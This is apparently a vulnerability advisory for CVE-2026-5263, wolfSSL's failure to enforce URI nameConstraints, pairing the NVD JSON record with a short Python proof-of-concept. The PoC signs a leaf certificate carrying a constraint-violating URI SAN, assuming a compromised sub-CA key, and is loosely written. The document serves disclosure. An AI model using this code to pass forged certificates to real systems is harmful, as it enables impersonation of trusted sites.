CVE-2026-5263

# PoC Concept: Generating a certificate that violates URI nameConstraints # This requires a valid CA key and a setup where wolfSSL is used for verification. # The following Python code demonstrates how to create a leaf certificate # with a URI SAN that would be rejected if constraints were enforced. from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes import datetime # Assume we have a CA key and cert (ca_private_key, ca_cert) def generate_malicious_cert(ca_private_key, ca_cert): subject = issuer = ca_cert.subject # Build a leaf certificate with a URI SAN that violates specific constraints # (e.g., if CA restricts to https://example.com, we use https://evil.com) san = x509.SubjectAlternativeName([ x509.UniformResourceIdentifier('http://malicious-site.com') ]) cert_builder = x509.CertificateBuilder() cert_builder = cert_builder.subject_name(subject) cert_builder = cert_builder.issuer_name(issuer) cert_builder = cert_builder.public_key(ca_private_key.public_key()) cert_builder = cert_builder.serial_number(x509.random_serial_number()) cert_builder = cert_builder.not_valid_before(datetime.datetime.utcnow()) cert_builder = cert_builder.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=30)) cert_builder = cert_builder.add_extension(san, critical=False) # Sign the certificate with the (potentially compromised) Sub-CA leaf_cert = cert_builder.sign(private_key=ca_private_key, algorithm=hashes.SHA256()) # When this leaf_cert is presented to a vulnerable wolfSSL version, # it might be accepted even if the Sub-CA had constraints forbidding 'malicious-site.com'. return leaf_cert # Note: Actual exploitation requires the CA to be in the wolfSSL trust store # and the specific version of wolfSSL to be unpatched.

{"cve": {"id": "CVE-2026-5263", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:36.647", "lastModified": "2026-04-29T17:19:55.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "URI nameConstraints from constrained intermediate CAs are parsed but not enforced during certificate chain verification in wolfcrypt/src/asn.c. A compromised or malicious sub-CA could issue leaf certificates with URI SAN entries that violate the nameConstraints of the issuing CA, and wolfSSL would accept them as valid."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.1", "matchCriteriaId": "261C41E4-7F04-4C98-AD63-110136730EE9"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/10048", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}